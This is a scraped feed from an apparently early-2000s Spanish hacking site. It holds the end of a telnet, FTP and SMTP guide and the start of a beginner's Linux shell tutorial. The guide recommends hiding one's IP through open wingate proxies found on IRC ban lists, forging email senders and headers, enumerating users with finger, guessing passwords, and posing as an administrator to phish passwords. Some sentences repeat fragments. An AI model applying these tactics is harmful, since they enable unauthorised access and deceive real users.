<p>13 date Hora y fecha en el host remoto</p>
<p>15 netstat Informacion sobre la red</p>
<p>21 ftp Transferencia de ficheros</p>
<p>23 telnet Acceso al shell</p>
<p>25 smtp Correo saliente</p>
<p>37 time Hora en el host remoto</p>
<p>39 rlp Localizacion del recurso</p>
<p>43 whois Informacion sobre la red y el host</p>
<p>53 domain Nombre del servidor</p>
<p>70 gopher Buscador de informacion (ya anticuado)</p>
<p>79 finger Informacion sobre los usuarios</p>
<p>80 www Servidor de Web</p>
<p>110 pop3 Correo entrante</p>
<p>119 nntp Grupos de noticias (news)</p>
<p>139 nbsession Netbios session</p>
<p>443 shttp Servidor de Web &#8216;seguro&#8217;</p>
<p>512 biff Notificacion de correo</p>
<p>513 rlogin Login remoto</p>
<p>514 shell Comando remoto</p>
<p>515 spooler Impresoras UNIX</p>
<p>520 route Protocolo de informacion sobre routing</p>
<p>8000 http Otro servidor de web.</p>
<p>8080 proxy</p>
<p>*****************************************************************</p>
<p>3.- FTP</p>
<p>3.a Teoría</p>
<p>FTP significa File Transfer Protocol, protocolo de transferencia de archivos, en castellano. Y sirve, cómo no, para ésto mismo, transferir ficheros: o de nuestra máquina hacia la máquina remota (upload o subir archivos) o de la máquina remota hacia la nuestra (download o bajar archivos).</p>
<p>También permite seguir bajandose un archivo después de un corte de conexión (por haberse cortado o por ser un archivo muy grande que queremos bajar en varias sesiones)</p>
<p>Un programa de FTP servidor suele abrir el puerto 21 en la máquina en la que está instalado, para que se puedan conectar por él otras máquinas. Un programa de FTP cliente es el que se utiliza para conectarnos al servidor. Los hay gráficos, como el FileZilla para Windows o el IglooFTP para Linux, y en modo texto, que están incluídos en ambos sistemas operativos (para arrancarlos, escribir el comando ftp en una ventana de MS-DOS o de la consola de texto, en Windows y Linux respectivamente). Aquí nos centraremos en los programas clientes de texto.</p>
<p>El FTP no está diseñado para ejecutar programas, para eso está telnet (ver más abajo), pero sí se pueden ejecutar algunos, los que sirven para poder decirle a la máquina que queremos subir o bajar algún archivo o para navegar entre los directorios.</p>
<p>Hay varios modos de transferencia de ficheros: ASCII y binarios. Los ficheros ASCII son los archivos de texto, y los binarios todos los demás (programas, imágenes&#8230;). Si transferimos un fichero de texto como binario, seguramente se perderá el formato del archivo (aparecerán símbolos extraños o saltos de línea donde no deberían haberlos), pero no será excesivamente grave.</p>
<p>Sin embargo, si transferimos un binario como texto, es casi seguro que quede inutilizable. Por eso es importante asegurarse de cambiar el modo antes de bajarse un programa, una imagen o un archivo de sonido. Luego, a menos que queramos bajarnos otro archivo, debemos cambiar nuevamente al modo ASCII para poder recibir correctamente la lista de archivos de un directorio (al hacer ls). Normalmente no deberemos preocuparnos por esto si utilizamos un programa de ftp, aunque sea en modo texto. Pero si nos conectamos mediante un programa de telnet sí lo tendremos que tener en cuenta.</p>
<p>3.b Comandos</p>
<p>Nota: Estos son los comandos más importantes del ftp texto para Linux. Los del ftp texto parinux. Los del ftp texto para ms-dos son iguales en su mayor parte, así que no creo que haya ningún problema en encontrar los comandos equivalentes. Para información sobre los comandos que no he incluído aquí, escribir el comando &#8216;man ftp&#8217;</p>
<p>ascii = cambia a modo ASCII (por defecto)</p>
<p>binary = cambia a modo binario</p>
<p>bye = quit = exit = ¡adiós!</p>
<p>cd = Cambio Directorio (¡ojo! no sirve poner &#8216;cd..&#8217; como en DOS, hay que poner &#8216;cd ..&#8217; (con espacio)</p>
<p>cdup = igual a &#8216;cd ..&#8217;</p>
<p>close = disconnect = corta la conexión sin salir del programa</p>
<p>delete = borra un archivo en la máquina remota</p>
<p>dir = muestra la lista de archivos del directorio actual. No admite parámetros.</p>
<p>get [archivo.arc] = descargarse el archivo.arc. ¡Ojo! Fíjate de que estás en el modo adecuado antes de descargarlo.</p>
<p>lcd = sin nada más, muestra el directorio local actual. Con un directorio, cambia el directorio local a ese directorio (en el directorio local se guardarán los archivos descargados, y de él se cojerán los que se suban)</p>
<p>ls = muestra los archivos del directorio actual. Los parámetros son los mismos que los del ls del s.o.</p>
<p>mkdir = crea un directorio en la máquina remota.</p>
<p>open = abre una conexión. Sólo es necesario si no ha sido especificado</p>
<p>un sitio en la llamada al programa (como por ejemplo, ftp ftp.rediris.es)</p>
<p>proxy = Se conecta a otro sitio sin desconectar del primero.</p>
<p>put = sube un archivo</p>
<p>rename = renombra un archivo/directorio &#8212; ¡Esto puede resultar muy interesante a veces! <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>reget = seguir bajándose un archivo que ha sido cortado anteriormente.</p>
<p>rmdir = borra un directorio, siempre que esté vacío (aunque algunos parezca que lo estén porque no vemos nada al hacer un ls, lo que pasa es que tienen archivos para los que no tenemos permiso de lectura (si no sabes lo que es esto, lee un manual básico de UNIX)).</p>
<p>mdelete, mdir, mget, mls = lo mismo que esos comandos sin m, pero para varios archivos / directorios</p>
<p>3.c Práctica</p>
<p>Vamos a subir nuestra página web al servidor, para ponerla en internet. Nuestra página principal se llama index.html, y contiene una imagen llamada imagen.jpg, que la queremos poner en un directorio aparte (imágenes).</p>
<p>Pues primero nos conectamos a nuestro servidor. Esto se hace poniendo el comando &#8216;ftp (servidor)&#8217;. Debes sustituir (servidor) por el nombre de tu servidor, por ejemplo ftp.example.com. Por defecto se asume que el puerto es el 21, si fuera otro tedrías que indicárselo. Por ejemplo, si usa el puerto 4000,tendrías que poner &#8216;ftp ftp.servidor.es 4000&#8242;.</p>
<p>Ahora nos saldrá un prompt que nos pedirá un login (username). Le ponemos nuestro nombre de usuario. Si quisiéramos conectarnos anónimamente tendríamos que poner &#8216;anonymous&#8217; (esto es así para la mayoría de servidores.</p>
<p>Puede, no obstante, que te encuentres algunnte, que te encuentres alguno que no sea así. En estos casos hay que probar con &#8216;guest&#8217; o similares). Como este no es el caso, introducimos nuestro nombre de usuario, por ejemplo, seldon.</p>
<p>Luego nos pedirá una contraseña. Si hemos entrado como &#8216;anonymous&#8217; tendremos que poner una dirección de e-mail. Poniendo &#8216;guest@&#8217; ya vale en la mayor parte de los casos. También puedes poner tu verdadera dirección si quieres que te acaben de mandar por correo los archivos que no te has podido bajar (el servidor debe aceptar esta opción). Si hemos entrado como usuario no anónimo, introduciremos nuestra contraseña.</p>
<p>¡Y ya estamos dentro!, ahora podemos ver nuestros directorios. Si ponemos &#8216;cd ..&#8217; veremos que estamos en el directorio raíz. Esto no es así en realidad, para la máquina no es el nuestro el directorio raíz, sólo lo es para un usuario (nosotros).</p>
<p>Si ponemos &#8216;ls&#8217; podremos ver los archivos que hayamos puesto anteriormente nosotros ahí. También veremos varios subdirectorios. Uno de ellos es bin, otro sbin. Si miramos dentro de estos subdirectorios veremos que, aparentemente, están vacíos, pero no es así, lo que pasa es que están llenos de archivos para los que no tenemos permisos de lectura (pero sí de ejecución). Si no sabes qué quiere decir esto, te recomiendo que mires la sección de permisos de un manual básico de UNIX.</p>
<p>Estos subdirectorios no se pueden borrar, porque contienenborrar, porque contienen archivos de los que no somos los propietarios, pero sí renombrar <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Bueno, a lo que íbamos. Aquí está el resto del trabajo. No creo que necesite más explicación que la que ya tiene entre los símbolos /* y */.</p>
<p>lcd /mipagina /*cambia el directorio local actual a /mipagina, que es donde se supone que tenemos guardada la página. Los usuarios de windows tendrán que usar la barra invertida &#8216;\&#8217;*/</p>
<p>put index.html /*sube el archivo index.html. Como los html son archivos de texto no hace falta cambiar el modo. Si tuvieras problemas, cambia al modo binary*/</p>
<p>mkdir imagenes</p>
<p>cd imagenes /*crea el subdirectorio imagenes y se cambia a él (todo en la máquina remota*/</p>
<p>binary /*cambia a modo binario (vamos a subir la imagen) (esto no es necesario si usamos un programa de ftp, sí lo es si no lo usamos)*/</p>
<p>put imagen.jpg</p>
<p>ascii /*vuelve a cambiar al modo ascii (porque vamos a comprobar que todo está bien, y necesitamos recibir la información en modo texto (ascii)) (esto no es necesario si usamos un programa de ftp, sí lo es si no lo usamos)*/</p>
<p>ls /*comprueba que la imagen está en su sitio*/</p>
<p>quit /*salimos*/</p>
<p>*********************************************************</p>
<p>4.- TELNET</p>
<p>4.a Teoría</p>
<p>Primero creo que hay que distinguir entre un programa de telnet y el protocolo telnet. Un programa cliente de telnet es un emulador de terminal (teclado + monitor) con el que nos podremos conectar con nuestro ordenador a otro y utilizarlo como si nuestro programa fuera un terminal de la máquina lejana. Es decir, es el que nos permitirá conectar a cualquiera de los puertos abiertos de un sistema para aprovecharnos de sus servicios. Prácticamente todos los s.o. traen uno. Tanto en Linux como en win se llaman igual: telnet.</p>
<p>También hay otros programas que hacen eso. Uno de los más conocidos es el CRT (para win), que podréis encontrar en shareware.com, entre otros muchos lugares.</p>
<p>Y el protocolo telnet es un protocolo orientado a ejecutar programas en una máquina remota. Nosotros le enviamos la información al programa de la máquina lejana mediante el teclado, el programa la procesa en la máquina lejana, y recibimos el resultado en nuestra pantalla. Es decir, este protocolo está orientado a la ejecución de programas en la máquina lejana.</p>
<p>¿Y cómo más podemos utilizarlo? Pues nos puede servir para encontrar y utilizar un proxy con el que anonimizarnos más.</p>
<p>4.b Práctica</p>
<p>Si queréis ver una muestra de cómo se pueden ejecutar programas en una máquina lejana, podéis probar con éstos:</p>
<p>eucmvx.sim.ucm.es (login: biblioteca) &lt;&#8211; Catálogo de la universidad complutense de Madrid</p>
<p>babel.uab.es &#8212; Catálogo de la universidad autónoma de Barcelona</p>
<p>chess.unix-ag.uni-kl.de (puerto: 5000) &lt;&#8211; Jugl.de (puerto: 5000) &lt;&#8211; Jugar al ajedrez contra otros usuarios</p>
<p>Para conectar con ellos en Linux debéis escribir &#8216;telnet servidor&#8217; si se usa el puerto 23 (los que no he puesto nada) o &#8216;telnet servidor puerto&#8217; si se usa otro puerto diferente. P.e.: &#8216;telnet babel.uab.es&#8217; ó &#8216;telnet babel.uab.es 23&#8242;</p>
<p>En windows, iniciad vuestro programa de telnet preferido, y en el menú de conexión escribid el nombre y el puerto (dejad telnet si es el 23). Dejad el tipo de terminal en vt-100. Si no veis lo que escribís, habilitad el eco (estará en el cuadro de opciones o similar)</p>
<p>Para utilizar un proxy wingate para anonimizarnos, primero tendremos que conseguir una lista de posibles proxys conectables. Para ello, vamos al IRC y escribimos &#8216;/raw stats glines&#8217;. Esto nos dará una lista de gente que ha sido baneada. Nos quedaremos con los que en el motivo de ban ponga algo de &#8216;proxy abierto&#8217; o similar. Nos vamos al programa de telnet y probamos con uno.</p>
<p>Si no nos deja conectar, o no dice nada al conectar, pasamos al siguiente. Si nos contesta con el prompt &#8216;wingate&gt;&#8217;, ¡felicidades! has encontrado un wingate.</p>
<p>Con él podrás conectarte a otro sitio sin dejar tu verdadera IP (quedará guardada en el sitio de la conexión la IP del wingate, y la tuya quedará reflejada en el wingate).</p>
<p>Hay algunos wingates que no guardan logs (archivos en los que quedan reflejadas todas las conexiones). Éstos das las conexiones). Éstos son los que deberemos conseguir encontrar. El problema es que no hay forma de saber si un sitio guarda o no logs. Por eso es conveniente conectarse a dos o más consecutivamente. Con esto aumentan las posibilidades de encontrarse uno que no guarde logs, aunque la velocidad disminuye.</p>
<p>Una vez conectado a un wingate, para conectarnos a otro o a cualquier otra parte tendremos que poner &#8216;open servidor puerto&#8217;.</p>
<p>*****************************************************************</p>
<p>5.- SMPT (envío de e-mails)</p>
<p>5.a Práctica</p>
<p>Creo que lo mejor para ver cómo funciona el envío de e-mails es enviandolos &#8216;a mano&#8217;.</p>
<p>Para esto abriremos nuestro programa de telnet, y conectaremos con nuestro servidor de smtp, que estará en el puerto 25. P.e.: telnet smtp.wanadoo.es 25</p>
<p>Después de los mensajes de bienvenida, y para enviar un mail, escribimos:</p>
<p>mail from: Nadie &lt;nadie@ningunsitio.com&gt;, o bien:</p>
<p>mail from: nadie@ningunsitio.com</p>
<p>La diferencia es que en el primer caso saldrá en el programa de correo empleado para leer nuestro mail que ha sido enviado por Nadie, mientras que en el segundo caso habrá sido enviado por nadie@ningunsitio.com.</p>
<p>Hay algunos servidores que requieren que el servidor que hay detrás de la @ exista. En ese caso basta con poner un servidor que exista (no necesariamente nuestue exista (no necesariamente nuestro <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  )</p>
<p>Para designar el receptor:</p>
<p>rcpt</p>
<p>to: Amigo &lt;amigo@nuestro.es&gt; (rcpt significa recipient)</p>
<p>Ahora viene el cuerpo del mensaje. Le decimos al servidor que queremos introducirlo escribiendo:</p>
<p>data</p>
<p>Si no ponemos nada, la primera línea será el subject, luego tendremos que dejar una línea en blanco, y el resto el cuerpo del mensaje. Finalizaremos con un puntito sólo en una línea.</p>
<p>Pero también podemos poner nuestras propias cabeceras. Como las únicas obligatorias son el from, el to, y el Received (que lo pone el servidor y no podemos modificar), las demás nos las podemos inventar, o copiar de las que ponen los programas de correo. Esto incluye, entre otras, la fecha. Seguramente el servidor la incluirá por otro lado, pero puede ayudar a sembrar la confusión <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . La última que debemos poner debe ser el subject: , y a partir de esa ya vendrá el mensaje.</p>
<p>5.b Remailer anónimos</p>
<p>Son los servidores de correo saliente que no incluyen la IP del que la envía. Podemos saber si un servidor es o no un remailer anónimo con el comando helo. Ponemos:</p>
<p>helo cualquiercosa</p>
<p>Si nos contesta con:</p>
<p>Helo (nuestronombreenlared) [(nuestraip)] please to meet you.</p>
<p>ya nos podemos olvidar, porque no es un remailer anónimo. Si en la contestación no se incluye nuestra IP, seguramente sí lo será. Podemra IP, seguramente sí lo será. Podemos comprobarlo enviando un mensaje y comprobando si la incluye.</p>
<p>El comando helo es conveniente utilizarlo al conectar a un servidor smtp. No es necesario, pero si no lo usamos en las cabeceras del mensaje se incluirá un warning (advertencia) de que somos unos maleducados que no saludamos <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> .</p>
<p>También se llama remailer anónimo a cierto servicio en la red, al que nosotros dirigimos nuestros mensajes, y ellos eliminan el campo From y lo redirigen al receptor original.</p>
<p>Ninguno de estos dos sistemas es completamente anónimo, ya que si hacemos alguna &#8216;guarrerida&#8217; y a los MIG les da por investigar, como nuestra entrada en estos servidores ha quedado registrada, no tendrán mucha dificultad para seguir el rastro.</p>
<p>********************************************************</p>
<p>6.- OTRAS CUESTIONES DE INTERÉS</p>
<p>-¿Cómo podemos hacer todo esto off-line?</p>
<p>Pues teniendo instalados los programas servidores de cada servicio.</p>
<p>No sé qué programas hay para windows, ni su utilización, así que no me voy a meter ahí. Lo que sí tenéis que tener en cuenta es que estos programas son comerciales, con lo que tendréis que comprarlos (y no serán baratos precisamente) o conseguirlos de otra forma (no diré cuál XDDD )</p>
<p>En linux lo tenemos muchísimo más fácil, ya que casi todos los programas necesarios son gratuitos, y se suelen inos son gratuitos, y se suelen incluir e instalar por defecto en la mayoría de las distribuciones. Además, son los programas usados mayoritariamente en internet, como el servidor web Apache, el servidor smtp Sendmail, el servidor de news Leafnode o el servidor ftp wu-ftpd.</p>
<p>Si los tenemos instalados y configurados correctamente (consulta las páginas de manual y los how-to adecuados a cada caso), debemos asegurarnos de que su puerto está abierto. Los servicios ofrecidos están en el archivo /etc/inetd.conf. Descomentamos (quitamos el símbolo # de delante) las líneas referidas al servicio que queramos ofrecer, y lo reiniciamos poniendo &#8216;/sbin/init.d/inetd restart&#8217; (en el caso de la distribución suse. Para otras distribuciones podemos consultar las primeras líneas del archivo en busca del comando a utilizar, y, si no lo encontramos, con el comando find buscar el archivo inetd (find / -name inetd) y scribir el directorio equivalente a /sbin/init.d).</p>
<p>Si lo hemos hecho correctamente, ya nos podremos conectar con nosotros mismo, poniendo como servidor &#8216;localhost&#8217;, p.e.: telnet localhost 25, para practicar con el sendmail.</p>
<p>6.a Otros puertos de interés</p>
<p>-Netstat</p>
<p>Uso: netstat (servidor)</p>
<p>Nos da mucha información sobre las conexiones del sistema, y puertos &#8216;listening&#8217; (puertos abiertos y escuchando, que nos pueden ahorrar un escaneo de puertos). La función de este puertos). La función de este puerto es la de hacer estadísticas sobre la red.</p>
<p>-Systat</p>
<p>Uso: telnet (servidor) systat</p>
<p>Nos da información sobre los procesos que se están ejecutando en la máquina remota. Con esta información podemos, entre otras cosas, buscar exploits para estos programas</p>
<p>-Finger</p>
<p>Uso: telnet (servidor) (usuario)</p>
<p>Nos da información sobre los usuarios de un sistema. Sin el parámetro usuario nos mostrará todos los que haya conectados en ese momento (no es normal que lo haga a menos que seas root). La información que da es:</p>
<p>login de usuario</p>
<p>nombre completo del usuario</p>
<p>directorio personal</p>
<p>shell que utiliza</p>
<p>última conexión (o si está conectado o si nunca se ha conectado) y desde dónde si tiene correo por leer</p>
<p>Si no te da la lista de usuarios conectados sin dar nombre, además de probar el finger con el root para ver sobre todo cuándo se conecta, puedes probar &#8216;a ciegas&#8217;. Si están en una máquina española puedes probar con logins como juan, jose, pedro, jlopez&#8230; y en una máquina americana con logins como john, mike, smith&#8230; Es casi seguro que hay algún usuario llamado así. ¡Ten en cuenta la nacionalidad del servidor, no vayas a probar jose en un servidor japonés!</p>
<p>Con esta información podemos intentar adivinar una contraseña, teniendo en cuenta que la mayoría de la gente no quiere con la mayoría de la gente no quiere contraseñas difíciles de recordar, y usa una combinación de su nombre y sus apellidos. También puede servir para enviarle un mail a su nombre verdadero pasando por ser el administrador del sistema, intentando convencerle de que te dé su contraseña (esto se llama ingeniería social <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>También puedes ser más sutil, e intentar sacarle su fecha de nacimiento, o la fecha de su boda, o el nombre de sus hijos o de su pareja, o cosas similares que suelen ser muy utilizadas como contraseña.</p>
<p>Y bueno, esto ha sido todo. Espero no haberos aburrido mucho.</li>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra II</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:07:11 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=149</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra II Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra II<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Volvemos a enfrentarnos una vez más con el dragón.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vamos a introducir algunas órdenes, para familiarizarnos un poco con el shell que estamos utilizando,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ pwd<br />
/home/genaro<br />
[genaro]$ _</td>
</tr>
</table>
<p>Estas órdenes ya las vimos en la primera parte, si queremos repetir en cualquier otro momento algunas de las órdenes, no hace falta teclearlas de nuevo, usando las flecha de cursor arriba, podemos repetir órdenes que ya hemos tecleado anteriormente, e incluso editarlas.</p>
<p>Sigamos metiendo órdenes, crear directorios, borrarlos, crear ficheros, etc. Llegará un momento, en que el texto desaparezca por la parte superior de la pantalla. La consola, sólo tiene 80 columnas de ancho y 25 líneas de alto, para ver una línea que haya desaparecido, podemos usar la combinación de teclas &quot;Mayúsculas + Retroceso de página&quot; para ir arriba y &quot;Mayúsculas + Avance de página&quot; para ir hacia abajo. Si lo deseamos, podemos ejecutar dos o más órdenes en una misma línea separandolas con el punto y coma, &quot;;&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir directorio ; ls ; cd directorio ; pwd<br />
directorio<br />
/home/genaro/directorio<br />
[directorio]$ _</td>
</tr>
</table>
<p>A diferencia de lo que ocurre con otros sistemas operativos orientados a caracteres, casi todos los comandos básicos que acepta el shell, son externos, o sea, programas aparte, muchos de esos programas están en el directorio /bin y otros en el directorio /usr/bin Para verlos puede hacer un ls</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ ls /bin<br />
arch date grep mknod<br />
rmdir true ash dd<br />
gtar mktemp rpm umount<br />
&#8230;&#8230;&#8230;&#8230;&#8230;<br />
[directorio]$ _</td>
</tr>
</table>
<p>En cualquier momento, cuando se tenga curiosidad acerca de qué hace un programa determinado, podemos consultar la orden &quot;man&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ man ls<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
LS(1) LS(1)<br />
NOMBRE<br />
ls, dir, vdir &#8211; listan los contenidos de directorios<br />
SINOPSIS<br />
ls [opciones] [fichero...]<br />
Opciones de POSIX: [-CFRacdilqrtu1]<br />
Opciones de GNU (en la forma más corta):<br />
[-1abcd­fgiklmnopqrstuxABCDFGLNQRSUX]<br />
[-w cols] [-T cols]<br />
[-I patrón]<br />
[--full-time] [--format={long,verbose,com­mas,across,vertical,single-column}]<br />
[--sort={none,time,size,extension}]<br />
[--time={atime,access,use,ctime,status}]<br />
[--color[={none,auto,always}]]<br />
[--help] [--version] [--]<br />
DESCRIPCIÓN<br />
El programa ls lista primero sus argumentos no directorios:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</td>
</tr>
</table>
<p>Con las teclas de cursor, nos desplazamos hacia arriba y abajo, para salir pulsar la tecla q. La mayoría de las órdenes aceptan parámetros, los parámetros especifican que cosas debe hacer un programa o como debe funcionar.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[directorio]$ cd .. ; ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 3:</b> Los parámetros en Unix se pasan con el simbolo &quot;-&quot;, a diferencia del DOS que usa el símbolo &quot;/&quot;.</p>
<p>Con el parámetro -l, hemos dicho a ls que liste los ficheros en formato largo, un fichero por línea, dando más información sobre ese fichero. Probad a hacer:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /usr/bin<br />
-rwxr-xr-x 1 root root 20648 Jul 30 1999 zipsplit<br />
-rwxr-xr-x 1 root root 41 Mar 25 1999 zless<br />
-rwxr-xr-x 1 root root 1068 Mar 25 1999 zmore<br />
-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew<br />
[genaro]$ _</td>
</tr>
</table>
<p>Veremos desplazarse los ficheros rápidamente y se perderán los primeros, este es el momento para prácticar las combinaciónes de teclas &quot;Mays + Re Pag&quot; y &quot;Mays + Av Pag&quot;. Al principio de cada línea, hay una información muy rara, -rwxr-xr-x, la primera letra, indica que tipo de fichero es, si es una &quot;d&quot; es un directorio, y si es el caracter &quot;-&quot; es un fichero ordinario, o sea, un programa, un fichero de texto, un fichero de sonido, un AVI, etc. Si volvemos a hacer un ls -l, vemos que efectivamente, el fichero &quot;directorio&quot; que hemos creado con anterioridad, es un directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l<br />
drwxr-xr-x 5 genaro users 1024 Jan 13 00:22 directorio<br />
[genaro]$ _</td>
</tr>
</table>
<p>Vemos en la tercera columna, la palabra &quot;genaro&quot;, o sea, dice que lo hemos creado nosotros, y como pertenecemos al grupo de trabajo &quot;users&quot;, el fichero también pertenece al grupo &quot;users&quot;. La siguiente columna, 1024, indica el tamaño del fichero, observa el listado de /usr/bin. luego viene la fecha y la hora, y por último el nombre del fichero. Pero volvamos a la primera columna.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>-rwxr-xr-x 1 root root 3502 Mar 25 1999 znew</td>
</tr>
</table>
<p>Sobre el fichero órdinario znew, hay unos permisos de lectura y escritura, vemos que el fichero, pertenece a &quot;root&quot; y es de un grupo de usuarios llamado &quot;root&quot;. Quitamos el primer caracter, que nos dice que tipo de fichero es, y separamos los demás caracteres en bloques de tres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>rwx r-x r-x</td>
</tr>
</table>
<p>El primer bloque, se aplica sobre el usuario propietario, en este caso &quot;root&quot;, el segundo bloque sobre el grupo propietario, también &quot;root&quot; y el último bloque, a todos los demas. El propietario del fichero, &quot;root&quot;, puede leer &quot;r&quot; , puede escribir en el &quot;w&quot;, incluido el borrado, y puede ejecutarlo como programa, &quot;x&quot;. En nuestro caso, como no somos &quot;root&quot; y somos de otro grupo, &quot;users&quot;, se aplica el tercer bloque, podemos leer el fichero, y podemos ejecutarlo, pero no podemos sobrescribirlo, ni borrarlo, ni hacer ninguna modificación. Esto es una seguridad básica del sistema operativo, en una máquina en la que existan varios usuarios trabajando al mismo tiempo, ninguno podrá modificar los programas ni los ficheros para meter troyanos ni bromas. Supongamos que alguien escribiera un virus para Linux, y lo ejecutamos trabajando como &quot;genaro&quot;, el virus tendría nuestros permisos y no podría borrar los ficheros importantes.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -l /etc/shadow<br />
-r&#8212;&#8212;&#8211; 1 root root 745 Dec 22 02:01 /etc/shadow</td>
</tr>
</table>
<p>El fichero /etc/shadow, contiene los passwords de los usuarios, y sólo lo puede leer el usuario &quot;root&quot;. Otro parámetro de ls, es el parámetro -a, con -a listamos también los ficheros ocultos</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -a . .gftp<br />
.twmX8Fmri .. .gimp<br />
.user.rdb Directorio<br />
[genaro]$_</td>
</tr>
</table>
